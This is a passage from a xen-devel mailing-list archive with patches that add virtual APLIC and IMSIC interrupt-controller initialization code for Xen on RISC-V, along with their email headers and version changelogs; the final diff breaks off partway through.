 3 files changed, 59 insertions(+)

diff --git a/xen/arch/riscv/imsic.c b/xen/arch/riscv/imsic.c
index f7b70a8da09e..5a5758e45dc2 100644
--- a/xen/arch/riscv/imsic.c
+++ b/xen/arch/riscv/imsic.c
@@ -16,6 +16,7 @@
 #include <xen/errno.h>
 #include <xen/init.h>
 #include <xen/macros.h>
+#include <xen/sched.h>
 #include <xen/smp.h>
 #include <xen/spinlock.h>
 #include <xen/xvmalloc.h>
@@ -56,6 +57,11 @@ do {                            \
     csr_clear(CSR_SIREG, v);    \
 } while (0)
 
+unsigned int vcpu_guest_file_id(const struct vcpu *v)
+{
+    return ACCESS_ONCE(v->arch.vimsic_state->guest_file_id);
+}
+
 void __init imsic_ids_local_delivery(bool enable)
 {
     if ( enable )
@@ -312,6 +318,35 @@ static int imsic_parse_node(const struct dt_device_node *node,
     return 0;
 }
 
+int vcpu_imsic_init(struct vcpu *v)
+{
+    struct vimsic_state *imsic_state;
+
+    /* Allocate IMSIC context */
+    imsic_state = xvzalloc(struct vimsic_state);
+    if ( !imsic_state )
+        return -ENOMEM;
+
+    /* Setup IMSIC context  */
+    rwlock_init(&imsic_state->vsfile_lock);
+
+    /*
+     * xvzalloc() already cleared the context, so guest_file_id == 0, i.e. the
+     * always-available s/w IMSIC VS-file. Only vsfile_pcpu needs an explicit
+     * initializer as its s/w VS-file value is NR_CPUS rather than 0.
+     */
+    imsic_state->vsfile_pcpu = NR_CPUS;
+
+    v->arch.vimsic_state = imsic_state;
+
+    return 0;
+}
+
+void vcpu_imsic_deinit(struct vcpu *v)
+{
+    XVFREE(v->arch.vimsic_state);
+}
+
 /*
  * Initialize the imsic_cfg structure based on the IMSIC DT node.
  *
diff --git a/xen/arch/riscv/include/asm/domain.h b/xen/arch/riscv/include/asm/domain.h
index bdc6086a1752..a0f681e25c33 100644
--- a/xen/arch/riscv/include/asm/domain.h
+++ b/xen/arch/riscv/include/asm/domain.h
@@ -54,6 +54,8 @@ struct arch_vcpu {
 
     struct vtimer vtimer;
 
+    struct vimsic_state *vimsic_state;
+
     register_t hcounteren;
     register_t hedeleg;
     register_t hideleg;
diff --git a/xen/arch/riscv/include/asm/imsic.h b/xen/arch/riscv/include/asm/imsic.h
index c6c59215df20..e2c413487d24 100644
--- a/xen/arch/riscv/include/asm/imsic.h
+++ b/xen/arch/riscv/include/asm/imsic.h
@@ -11,6 +11,7 @@
 #ifndef ASM_RISCV_IMSIC_H
 #define ASM_RISCV_IMSIC_H
 
+#include <xen/rwlock.h>
 #include <xen/spinlock.h>
 #include <xen/stdbool.h>
 #include <xen/types.h>
@@ -61,7 +62,24 @@ struct imsic_config {
     spinlock_t lock;
 };
 
+struct vimsic_state {
+    /* IMSIC VS-file */
+    rwlock_t vsfile_lock;
+    /*
+     * s/w IMSIC VS-file -> guest_file_id == 0
+     * h/w IMSIC VS-file -> guest_file_id > 0
+     */
+    unsigned int guest_file_id;
+    /*
+     * s/w IMSIC VS-file -> vsfile_pcpu == NR_CPUS
+     * h/w IMSIC VS-file -> vsfile_pcpu < NR_CPUS
+     */
+    unsigned int vsfile_pcpu;
+};
+
 struct dt_device_node;
+struct vcpu;
+
 int imsic_init(const struct dt_device_node *node);
 
 const struct imsic_config *imsic_get_config(void);
@@ -71,4 +89,8 @@ void imsic_irq_disable(unsigned int hwirq);
 
 void imsic_ids_local_delivery(bool enable);
 
+int vcpu_imsic_init(struct vcpu *v);
+void vcpu_imsic_deinit(struct vcpu *v);
+unsigned int vcpu_guest_file_id(const struct vcpu *v);
+
 #endif /* ASM_RISCV_IMSIC_H */
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 06 15:58:46 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 06 Jul 2026 15:58:46 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1355525.1610405 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgliY-0002kA-E8; Mon, 06 Jul 2026 15:58:46 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1355525.1610405; Mon, 06 Jul 2026 15:58:46 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgliX-0002dK-DJ; Mon, 06 Jul 2026 15:58:45 +0000
Received: by outflank-mailman (input) for mailman id 1355525;
 Mon, 06 Jul 2026 15:58:43 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wgliU-000257-Tl
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 15:58:43 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wgliU-00AcZM-9N
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 17:58:42 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a4bd0ae-5cb7-0a2a0a5109dd-0a2a4506c18e-6
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 17:58:42 +0200
Received: from [209.85.128.43] (helo=mail-wm1-f43.google.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a4bd0b1-08de-0a2a45060019-d155802bbc26-3
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 17:58:42 +0200
Received: by mail-wm1-f43.google.com with SMTP id
 5b1f17b1804b1-4921eed3fa2so22318595e9.0
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 08:58:42 -0700 (PDT)
Received: from fedora (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493cce03fa1sm284910325e9.11.2026.07.06.08.58.40
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 06 Jul 2026 08:58:40 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783353521; x=1783958321; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:from:to:cc:subject:date
         :message-id:reply-to;
        bh=517+1oBC/3etFT89VUu919j8ILu9fgNtL2l2e+ESqVQ=;
        b=tBAP5QKybvsIqzKJV8677XyaOpBVvExAEK4ebMYQHiAMvOnF7d0qsjv2E9rZtEju6m
         h2ag7a+5+8QGaRWaGhk660kkK8/pvrLDfOMjeKldM2ls63kt3ZUnUMruSbvv6VhREcB9
         /LNYGD7idtO4TvVGt2yV8Yn29t20xIn/UpTZrosNbgu6laKVkeiWGuOBqeN+el65Ivca
         Q3DCq6MYEBMb7Zzu/If+29+RD+n6f3V4GQToSPnZKW7YA1+aQPOZu1cj6BYeWcKOKXq3
         k1soeIG54Zf9VHQFiPAqAwmJGix/pB4U6qwRNN7jbpiD/UxphiLIn/Asf7LjWrLVEGOQ
         QnKQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783353521; x=1783958321;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:x-gm-gg:x-gm-message-state:from
         :to:cc:subject:date:message-id:reply-to;
        bh=517+1oBC/3etFT89VUu919j8ILu9fgNtL2l2e+ESqVQ=;
        b=SMG1yRSgGAHl9VmzUcWEJ/2UaTBIK/wT5B5gDoWh/wJwFXOpTSQSdI4baAhk9blkM7
         +hdJU6PPwdNlFdGz3u+qiIG9qg8cgeM1Hdf4bCG7igWTOhGFw1eyQ7HOycJ/3excSk08
         CP4O7UbRZX0n3dHAIAR5TBl4g0M4bs+WzM0Dlf5Tl1BwUE70RHSnsad9VDkRlxK1Gd8R
         t4up2uXiayEq2T4CEFA0CpCqA3w5SLA9/AVqimIvZVw2t+f3Xle05srPjFSAtj4RcplN
         ZnRG2cVSGIKDvqMjrauPTBnuZ8b/aXbnovRkVATYIfJx4Nl1SGebEzLEB90+FKMmJwlx
         5zuQ==
X-Gm-Message-State: AOJu0YzlMsTIz+ON3hYPn/p8RM2wW7D19JQCKDDDAx4etKAj/FhKHPB4
	X/wIQxBEEv2yKJEiwBNPUQD3f+Y4+uy813INAyZAdzdqfYmCeTn5nicVoTqGYg==
X-Gm-Gg: AfdE7cnmOdYRPkqKWjXG6Dy9JtCuaIu8TcHMQwdhN7wifV8O4GN2Arj6uzAbms9uF/5
	+iuidMdJvlXf4VLc9LG49ErgG4e2U3FcGFWR1xchNSNPtsqwghUHlP+pjR8v0vqZfCItaPNhY/k
	lYzjtTAz3EooR82HHC0jJNdzvSR7vC1x+/l0hDPKxQb82PPhl+bUwRHxwDVNB/Q7lF4IOtR3Qlm
	NDd1QTP9Un7uHhCbtLqC6brwsJQvUxDYMEhiuvQCm64g4E3zu7OXV3fqnyQGr/c3MLqUkL1CHX/
	iyaZqY2TZmxhu5nOSJrJhidS2j2+3lrPJSPiMi59dtQh4m3aIGxVklJFaUL1KvPpbIpONOseiKT
	NomXjEHiOpiXZenb1b6lDLpkPu2eVx99EFBq1UNltvQ6bc4jWB2BKpHlCUlZswBhxztSdid/l5W
	Q6miwx9v3fVFbDv4LXgbV4KAkcxPpxU1SuvhKPx8YJeacK4s4pjMVjdawz/g==
X-Received: by 2002:a05:600c:83c9:b0:493:bc31:b2ae with SMTP id 5b1f17b1804b1-493df040597mr14466295e9.10.1783353521386;
        Mon, 06 Jul 2026 08:58:41 -0700 (PDT)
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
To: xen-devel@lists.xenproject.org
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
	Baptiste Le Duc <baptiste.le-duc@vates.tech>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Alistair Francis <alistair.francis@wdc.com>,
	Connor Davis <connojdavis@gmail.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Stefano Stabellini <sstabellini@kernel.org>
Subject: [PATCH v5 17/26] xen/riscv: introduce minimal virtual APLIC (vAPLIC) infrastructure
Date: Mon,  6 Jul 2026 17:57:58 +0200
Message-ID: <1f51410c080599a5c80173398d9db837b8718356.1783331040.git.oleksii.kurochko@gmail.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <cover.1783331040.git.oleksii.kurochko@gmail.com>
References: <cover.1783331040.git.oleksii.kurochko@gmail.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-16d1c6/1783353522-C7B2A68D-F0370B61/10/73395122804
X-purgate-type: spam
X-purgate-size: 9099

At the current development stage, only domain vINTC init and deinit
operations are required, so implement those first.

Initialize vAPLIC's domaincfg to with the interrupt-enable bit set and
MSI delivery mode selected as the current solution is exepcted to have
always IMSIC, and initialize vintc->ops.

Other operations such as emulate_load(), emulate_store(), and is_access()
will be needed once guests are running and MMIO accesses to APLIC MMIO
range must be handled. These will be introduced separately later.

Introduce a structure to describe a virtual interrupt controller (vINTC)
and a vintc_ops structure, which provides operations to emulate load and
store accesses to interrupt controller MMIOs and to check whether a given
address falls within the MMIO range of a specific virtual interrupt
controller.
Note that already existed init_ops field in struct vintc will be init-ed
for APLIC in the follow up patch.

The vAPLIC implementation of these operations will be provided later
once guests can be run and these operations are actually needed.

Introduce these structures here as they are required for the implementation
of domain_vaplic_init() and domain_vaplic_alloc(). Also, introduce
vaplic_init() and init vintc_ops->vcpu_init() with it.

Co-developed-by: Romain Caritey <Romain.Caritey@microchip.com>
Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
---
Changes in v5:
 - Add explanational comments for fields in struct vintc.
 - Drop unnessary empty line in asm/aplic.h.
 - Update the commit message to tell that init_ops will be init-ed later
   in follow up patch.
---
Changes in v4:
 - Change subject of the commit.
 - s/APLIC_DOMAINCFG_RO80/APLIC_DOMAINCFG_RO + added a comment above definition.
 - Drop unnessary blank lines.
---
Changes in v3:
 - Drop ASSERT() before vintc->ops->vcpu_init() in arch_vcpu_create(); a
   NULL deref already produces a sufficient backtrace.
 - Parenthesize macro argument in to_vaplic().
 - Drop __init from domain_vaplic_init() and domain_vaplic_deinit() since
   the caller domain_vintc_init() (follow-up patch) is not __init.
 - Remove pointless zero-initializer for rc in vcpu_vaplic_init().
 - Fix domain_vaplic_deinit() to null d->arch.vintc before freeing, making
   the function idempotent.
 - Drop intc_irq_nums(), (*nr_irqs)(void) hook from intc_hw_operations,
   aplic_nr_irqs(), and vintc->nr_irqs field entirely.
 - Rename vcpu_vaplic_init() to vaplic_init() and drop vgein_assign() and
   imsic_set_guest_file_id() calls; those will be introduced/called later,
   where for sure we will know on which pCPU vCPU as it is required for
   proper h/w IMSIC interrupt file calculation, to have this initialization
   in one place.
 - Introduce vaplic_deinit().
---
Changes in v2:
 - s/vcpu/v for function arguments in struct vintc_ops().
 - Update the comment above is_access() and drop const for addr argument.
 - Update to_vaplic() to work with 'struct domain *'.
 - Drop smsiaddrcfg{h} from vaplic_regs struct as they aren't used for now.
 - Drop inclusion of xen/schec.h from intc.c.
 - use result of xvzalloc() as initializer in vpalic_alloc().
 - Drop goto in domain_vaplic_init().
 - s/XVFREE/xvfree.
 - s/aplic/vintc.
 - Drop __init for vcpu_vaplic_init() as it could be called for secondary CPU bring up.
 - Drop vaplic_alloc().
 - Drop vintc_ops struct, embed callbacks iniside struct vintc.
 - Introduce and init vintc irqs for vAPLIC.
 - Introduce intc_irq_nums() to properly initialize number of vAPLIC's irqs.
---
---
 xen/arch/riscv/Makefile             |  1 +
 xen/arch/riscv/domain.c             | 11 ++---
 xen/arch/riscv/include/asm/aplic.h  |  2 +
 xen/arch/riscv/include/asm/intc.h   | 12 ++++++
 xen/arch/riscv/include/asm/vaplic.h | 34 ++++++++++++++++
 xen/arch/riscv/vaplic.c             | 63 +++++++++++++++++++++++++++++
 6 files changed, 115 insertions(+), 8 deletions(-)
 create mode 100644 xen/arch/riscv/include/asm/vaplic.h
 create mode 100644 xen/arch/riscv/vaplic.c

diff --git a/xen/arch/riscv/Makefile b/xen/arch/riscv/Makefile
index 9df8b72b5494..9d8d21b65188 100644
--- a/xen/arch/riscv/Makefile
+++ b/xen/arch/riscv/Makefile
@@ -25,6 +25,7 @@ obj-y += smpboot.o
 obj-y += stubs.o
 obj-y += time.o
 obj-y += traps.o
+obj-y += vaplic.o
 obj-y += vmid.o
 obj-y += vm_event.o
 obj-y += vsbi/
diff --git a/xen/arch/riscv/domain.c b/xen/arch/riscv/domain.c
index c9933147595e..45712d305975 100644
--- a/xen/arch/riscv/domain.c
+++ b/xen/arch/riscv/domain.c
@@ -11,6 +11,7 @@
 #include <asm/bitops.h>
 #include <asm/cpufeature.h>
 #include <asm/csr.h>
+#include <asm/intc.h>
 #include <asm/riscv_encoding.h>
 #include <asm/vtimer.h>
 
@@ -155,14 +156,8 @@ int arch_vcpu_create(struct vcpu *v)
     if ( (rc = vcpu_vtimer_init(v)) )
         goto fail;
 
-    /*
-     * As interrupt controller (IC) is not yet implemented,
-     * return an error.
-     *
-     * TODO: Drop this once IC is implemented.
-     */
-    rc = -EOPNOTSUPP;
-    goto fail;
+    if ( (rc = v->domain->arch.vintc->ops->vcpu_init(v)) )
+        goto fail;
 
     return rc;
 
diff --git a/xen/arch/riscv/include/asm/aplic.h b/xen/arch/riscv/include/asm/aplic.h
index b0724fe6f360..31264e2e683a 100644
--- a/xen/arch/riscv/include/asm/aplic.h
+++ b/xen/arch/riscv/include/asm/aplic.h
@@ -15,6 +15,8 @@
 
 #include <asm/imsic.h>
 
+/* domaincfg bits 31:24 are read-only 0x80 */
+#define APLIC_DOMAINCFG_RO      (0x80U << 24)
 #define APLIC_DOMAINCFG_IE      BIT(8, U)
 #define APLIC_DOMAINCFG_DM      BIT(2, U)
 
diff --git a/xen/arch/riscv/include/asm/intc.h b/xen/arch/riscv/include/asm/intc.h
index a4e678fad90b..5330666e139e 100644
--- a/xen/arch/riscv/include/asm/intc.h
+++ b/xen/arch/riscv/include/asm/intc.h
@@ -17,6 +17,7 @@ enum intc_variant {
 struct cpu_user_regs;
 struct irq_desc;
 struct kernel_info;
+struct vcpu;
 
 struct intc_info {
     enum intc_variant hw_variant;
@@ -53,8 +54,19 @@ struct vintc_init_ops {
     int (*make_domu_dt_node)(struct kernel_info *kinfo);
 };
 
+struct vintc_ops {
+    /* Initialize some vINTC-related stuff for a vCPU */
+    int (*vcpu_init)(struct vcpu *v);
+
+    /* Deinitialize some vINTC-related stuff for a vCPU */
+    void (*vcpu_deinit)(struct vcpu *v);
+};
+
 struct vintc {
+    /* Used during domain build only; dropped afterwards. */
     const struct vintc_init_ops *init_ops;
+    /* Runtime callbacks used for the lifetime of the guest. */
+    const struct vintc_ops *ops;
 };
 
 void intc_preinit(void);
diff --git a/xen/arch/riscv/include/asm/vaplic.h b/xen/arch/riscv/include/asm/vaplic.h
new file mode 100644
index 000000000000..96080bfbc23b
--- /dev/null
+++ b/xen/arch/riscv/include/asm/vaplic.h
@@ -0,0 +1,34 @@
+/* SPDX-License-Identifier: MIT */
+/*
+ * xen/arch/riscv/vaplic.c
+ *
+ * Virtual RISC-V Advanced Platform-Level Interrupt Controller support
+ *
+ * Copyright (c) Microchip.
+ */
+
+#ifndef ASM__RISCV__VAPLIC_H
+#define ASM__RISCV__VAPLIC_H
+
+#include <xen/kernel.h>
+#include <xen/types.h>
+
+#include <asm/intc.h>
+
+struct domain;
+
+#define to_vaplic(d) container_of((d)->arch.vintc, struct vaplic, vintc)
+
+struct vaplic_regs {
+    uint32_t domaincfg;
+};
+
+struct vaplic {
+    struct vintc vintc;
+    struct vaplic_regs regs;
+};
+
+int domain_vaplic_init(struct domain *d);
+void domain_vaplic_deinit(struct domain *d);
+
+#endif /* ASM__RISCV__VAPLIC_H */
diff --git a/xen/arch/riscv/vaplic.c b/xen/arch/riscv/vaplic.c
new file mode 100644
index 000000000000..6562b25f0abb
--- /dev/null
+++ b/xen/arch/riscv/vaplic.c
@@ -0,0 +1,63 @@
+/* SPDX-License-Identifier: MIT */
+/*
+ * xen/arch/riscv/vaplic.c
+ *
+ * Virtual RISC-V Advanced Platform-Level Interrupt Controller support
+ *
+ * Copyright (c) Microchip.
+ * Copyright (c) Vates
+ */
+
+#include <xen/errno.h>
+#include <xen/sched.h>
+#include <xen/xvmalloc.h>
+
+#include <asm/aia.h>
+#include <asm/imsic.h>
+#include <asm/intc.h>
+#include <asm/vaplic.h>
+
+#include "aplic-priv.h"
+
+static int cf_check vaplic_init(struct vcpu *v)
+{
+    return vcpu_imsic_init(v);
+}
+
+static void cf_check vaplic_deinit(struct vcpu *v)
+{
+    return vcpu_imsic_deinit(v);
+}
+
+static const struct vintc_ops vintc_ops = {
+    .vcpu_init = vaplic_init,
+    .vcpu_deinit = vaplic_deinit,
+};
+
+int domain_vaplic_init(struct domain *d)
+{
+    struct vaplic *vaplic = xvzalloc(struct vaplic);
+
+    if ( !vaplic )
+        return -ENOMEM;
+
+    d->arch.vintc = &vaplic->vintc;
+    d->arch.vintc->ops = &vintc_ops;
+
+    vaplic->regs.domaincfg = APLIC_DOMAINCFG_IE | APLIC_DOMAINCFG_DM |
+                             APLIC_DOMAINCFG_RO;
+
+    return 0;
+}
+
+void domain_vaplic_deinit(struct domain *d)
+{
+    struct vaplic *vaplic;
+
+    if ( !d->arch.vintc )
+        return;
+
+    vaplic = to_vaplic(d);
+    d->arch.vintc = NULL;
+    xvfree(vaplic);
+}
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 06 15:58:48 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 06 Jul 2026 15:58:48 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1355531.1610412 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgliZ-00031G-Rv; Mon, 06 Jul 2026 15:58:47 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1355531.1610412; Mon, 06 Jul 2026 15:58:47 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgliY-0002vw-NZ; Mon, 06 Jul 2026 15:58:46 +0000
Received: by outflank-mailman (input) for mailman id 1355531;
 Mon, 06 Jul 2026 15:58:44 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wgliV-0002PW-V9
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 15:58:44 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wgliV-003COz-B3
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 17:58:43 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a4bd0ae-2eae-0a2a0a5409dd-0a2a4501d5ae-16
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 17:58:43 +0200
Received: from [209.85.128.52] (helo=mail-wm1-f52.google.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a4bd0b3-400f-0a2a45010019-d1558034c806-3
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 17:58:43 +0200
Received: by mail-wm1-f52.google.com with SMTP id
 5b1f17b1804b1-493c19bad03so29975475e9.2
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 08:58:43 -0700 (PDT)
Received: from fedora (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493cce03fa1sm284910325e9.11.2026.07.06.08.58.41
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 06 Jul 2026 08:58:42 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783353523; x=1783958323; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:from:to:cc:subject:date
         :message-id:reply-to;
        bh=IjcS/Avaf1GsgDFyaOfVm5ygdYGJU0669pyToitaIko=;
        b=qYYE/0NXEhGTHJef9K/oCbSB7UBOEnIQI1JM/Rg3sCOE/Wl2fpk0zR38OWBarXa7v4
         Nq1mPCukH6f2EbyPAQg/w7AHrIWpFLtLvlnpX+icARgfYcw/rc1R96/NGw+m1gIoeEvW
         AgQ3GZRKQ4e93AwRUbjINcVI1EtKeU7vECNw39Y4NidAGsV5/zwDIkyUE0CYottXyvaz
         7V98jlRsQhKGVNwo599nVYmYYACFvz8tl8k6rfWQry5uNtqcQNrVrmJBoVThIxzcBmiR
         TWm+kwyKKSueEjJiZ7KZryLHT1/PrDoESKcTgQFM8pQbV11t+sqtl8YwK+35vETnVUUx
         Lf9g==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783353523; x=1783958323;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:x-gm-gg:x-gm-message-state:from
         :to:cc:subject:date:message-id:reply-to;
        bh=IjcS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==
X-Received: by 2002:a05:600c:6d86:b0:492:2f3c:d0ed with SMTP id 5b1f17b1804b1-493df0786f2mr10598305e9.30.1783353522751;
        Mon, 06 Jul 2026 08:58:42 -0700 (PDT)
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
To: xen-devel@lists.xenproject.org
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
	Baptiste Le Duc <baptiste.le-duc@vates.tech>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Alistair Francis <alistair.francis@wdc.com>,
	Connor Davis <connojdavis@gmail.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Stefano Stabellini <sstabellini@kernel.org>
Subject: [PATCH v5 18/26] xen/riscv: introduce (de)initialization helpers for vINTC
Date: Mon,  6 Jul 2026 17:57:59 +0200
Message-ID: <547003a0b3489190e1709575798606b5104daa85.1783331040.git.oleksii.kurochko@gmail.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <cover.1783331040.git.oleksii.kurochko@gmail.com>
References: <cover.1783331040.git.oleksii.kurochko@gmail.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-d62444/1783353523-820DC1E0-1708A3FA/10/73395122804
X-purgate-type: spam
X-purgate-size: 3578

Add common helpers domain_vintc_init() and domain_vintc_deinit() to
allocate and deallocate a virtual interrupt controller (vINTC)
structure and initialize basic virtual interrupt controller registers.

domain_vintc_deinit() isn't called at the moment as arch_domain_destroy()
is implemented as stub at the moment.

Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Acked-by: Jan Beulich <jbeulich@suse.com>
---
Changes in v5:
 - s/printk/printk_once().
 - Add Acked-by: Jan Beulich <jbeulich@suse.com>.
---
Changes in v4:
 - Drop the comment from domain_vintc_init() about guests receiving a
   virtual interrupt controller that mirrors the host hardware as there
   can (and eventually should) be alternatives.
 - Finish renaming intc_version to intc_variant in domain_vintc_(de)init()
   (enum intc_variant, info->hw_variant, local variable) started in the
   prev patch.
---
Changes in v3:
 - Drop redundant printk() from domain_vintc_deinit()'s default case to
   avoid duplicate messages when init fails.
 - Add a comment to domain_vintc_init() clarifying that guests currently
   receive a virtual interrupt controller that mirrors the host hardware.
---
Changes in v2:
 - Drop __init for domain_vintc_(de)init().
 - Update the commit message.
---
---
 xen/arch/riscv/domain.c           |  3 +++
 xen/arch/riscv/include/asm/intc.h |  3 +++
 xen/arch/riscv/intc.c             | 35 +++++++++++++++++++++++++++++++
 3 files changed, 41 insertions(+)

diff --git a/xen/arch/riscv/domain.c b/xen/arch/riscv/domain.c
index 45712d305975..4db9c28662c7 100644
--- a/xen/arch/riscv/domain.c
+++ b/xen/arch/riscv/domain.c
@@ -308,6 +308,9 @@ int arch_domain_create(struct domain *d,
     if ( (rc = p2m_init(d, config)) != 0)
         goto fail;
 
+    if ( (rc = domain_vintc_init(d)) )
+        goto fail;
+
     return rc;
 
  fail:
diff --git a/xen/arch/riscv/include/asm/intc.h b/xen/arch/riscv/include/asm/intc.h
index 5330666e139e..dad4c5fab08b 100644
--- a/xen/arch/riscv/include/asm/intc.h
+++ b/xen/arch/riscv/include/asm/intc.h
@@ -79,4 +79,7 @@ void intc_route_irq_to_xen(struct irq_desc *desc, unsigned int priority);
 
 void intc_handle_external_irqs(struct cpu_user_regs *regs);
 
+int domain_vintc_init(struct domain *d);
+void domain_vintc_deinit(struct domain *d);
+
 #endif /* ASM__RISCV__INTERRUPT_CONTOLLER_H */
diff --git a/xen/arch/riscv/intc.c b/xen/arch/riscv/intc.c
index 2864a896b677..f5c8af6ddea4 100644
--- a/xen/arch/riscv/intc.c
+++ b/xen/arch/riscv/intc.c
@@ -11,6 +11,7 @@
